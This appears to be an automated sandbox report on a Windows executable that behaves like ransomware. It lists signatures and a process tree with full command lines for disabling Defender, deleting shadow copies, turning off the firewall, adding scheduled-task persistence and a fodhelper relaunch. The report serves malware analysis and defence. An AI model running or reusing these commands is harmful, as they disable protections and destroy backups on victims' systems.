Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    08/05/2026, 00:42

General

  • Target
    robotera.io_hyber.exe
  • Size 51KB
  • Sample260508-a2bmesct4t
  • SHA256 7ea26ed31a0452e5750b22e08d086728dd831ac3feb9be25af4ec1f534016e8c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\robotera.io_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\robotera.io_hyber.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4544
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1516
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4248
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4028
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:1820
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:3336
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:2296
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:4272
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:5208
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5560
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5520
      • C:\Users\Admin\AppData\Local\Temp\robotera.io_hyber.exe
        "C:\Users\Admin\AppData\Local\Temp\robotera.io_hyber.exe"
        3⤵
          PID:1648
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:1828
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\robotera.io_hyber.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3396
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3236
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:1784
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2216
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4080
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:5844
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3080
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:5892
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4112
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1732
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2360
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2668
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:1540
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4312
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:3024
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3756
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:6060
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\robotera.io_hyber.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4736
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
              PID:1240
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:3372
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:2148
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:4160
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3692
                • C:\Windows\System32\Conhost.exe
                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  3⤵
                    PID:4248
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop srservice
                    3⤵
                      PID:1244
                  • C:\Windows\System32\netsh.exe
                    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                    2⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:2180
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:5592
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" stop i8042prt
                    2⤵
                    • Launches sc.exe
                    PID:4832
                • C:\Windows\system32\LogonUI.exe
                  "LogonUI.exe" /flags:0x0 /state0:0xa3a1d855 /state1:0x41c64e6d
                  1⤵
                  • Modifies data under HKEY_USERS
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:2852
                • C:\Users\Admin\AppData\Local\Temp\robotera.io_hyber.exe
                  C:\Users\Admin\AppData\Local\Temp\robotera.io_hyber.exe
                  1⤵
                    PID:3424
                  • C:\Users\Admin\AppData\Local\Temp\robotera.io_hyber.exe
                    C:\Users\Admin\AppData\Local\Temp\robotera.io_hyber.exe
                    1⤵
                      PID:3540
                    • C:\Windows\system32\vssvc.exe
                      C:\Windows\system32\vssvc.exe
                      1⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:5064

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          invoice_1.pdf

                          • Path C:\ProgramData\invoice_1.pdf
                          • Size 69KB
                          • SHA256 bdb6b314560bdbfdc8c29ffa22051628f06889d1faeba486bdcd18eddfaebeb3
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          doc_3.pdf

                          • Path C:\SystemVolumeInformation\doc_3.pdf
                          • Size 68KB
                          • SHA256 89c280fae9addd885abccc6a1df575667fc411db5b326e312a4cdad1f68e8f11
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          robotera.io_hyber.exe.log

                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\robotera.io_hyber.exe.log
                          • Size 660B
                          • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                          • MD5 SHA1 SHA512 TLSH

                          __PSScriptPolicyTest_rihz4w5i.atc.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rihz4w5i.atc.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH

                          createshortcut.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                          • Size 242B
                          • SHA256 b57d345f0e4db5c437370692b046cfa144db1f887de00773694962afcaf775c5
                          • MD5 SHA1 SHA512 TLSH

                          del.bat

                          • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                          • Size 59B
                          • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                          • MD5 SHA1 SHA512 TLSH

                          makelnk.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                          • Size 243B
                          • SHA256 60fad9a1552e8a9a6bdde8a2afc3e43a8f12384ff57737e0305581a52fcc1328
                          • MD5 SHA1 SHA512 TLSH

                          sysupdate.exe

                          • Path C:\Windows\System32\sysupdate.exe
                          • Size 51KB
                          • SHA256 7ea26ed31a0452e5750b22e08d086728dd831ac3feb9be25af4ec1f534016e8c
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/1240-2255-0x000002DF4F9D0000-0x000002DF4F9DC000-memory.dmp

                          memory/1516-22-0x0000021FFC180000-0x0000021FFC233000-memory.dmp

                          memory/1516-21-0x0000021FFC160000-0x0000021FFC17C000-memory.dmp

                          memory/1516-26-0x0000021FFC400000-0x0000021FFC41A000-memory.dmp

                          memory/1516-29-0x0000021FFC3F0000-0x0000021FFC3FA000-memory.dmp

                          memory/1516-28-0x0000021FFC3E0000-0x0000021FFC3E6000-memory.dmp

                          memory/1516-27-0x0000021FFC3B0000-0x0000021FFC3B8000-memory.dmp

                          memory/1516-33-0x0000021FFB690000-0x0000021FFB6A2000-memory.dmp

                          memory/1516-32-0x0000021FFB650000-0x0000021FFB65C000-memory.dmp

                          memory/1516-24-0x0000021FFC3C0000-0x0000021FFC3DC000-memory.dmp

                          memory/1516-23-0x0000021FFC240000-0x0000021FFC24A000-memory.dmp

                          memory/1516-7-0x0000021FFBCA0000-0x0000021FFBCC2000-memory.dmp

                          memory/1516-25-0x0000021FFC3A0000-0x0000021FFC3AA000-memory.dmp

                          memory/1828-2149-0x000001BBB9400000-0x000001BBB940C000-memory.dmp

                          memory/3372-2261-0x0000025306E50000-0x0000025306E51000-memory.dmp

                          memory/3372-2272-0x00000253038C0000-0x00000253039E0000-memory.dmp

                          memory/4544-2252-0x000000001AE20000-0x000000001AE30000-memory.dmp

                          memory/4544-2251-0x00000000009B0000-0x00000000009BC000-memory.dmp

                          memory/4544-0-0x0000000000160000-0x0000000000174000-memory.dmp

                          memory/4544-3-0x000000001DC40000-0x000000001E168000-memory.dmp

                          memory/4544-2-0x000000001D4A0000-0x000000001D662000-memory.dmp

                          memory/4544-1-0x000000001AE20000-0x000000001AE30000-memory.dmp

                          memory/4544-2276-0x000000001C7B0000-0x000000001C7C2000-memory.dmp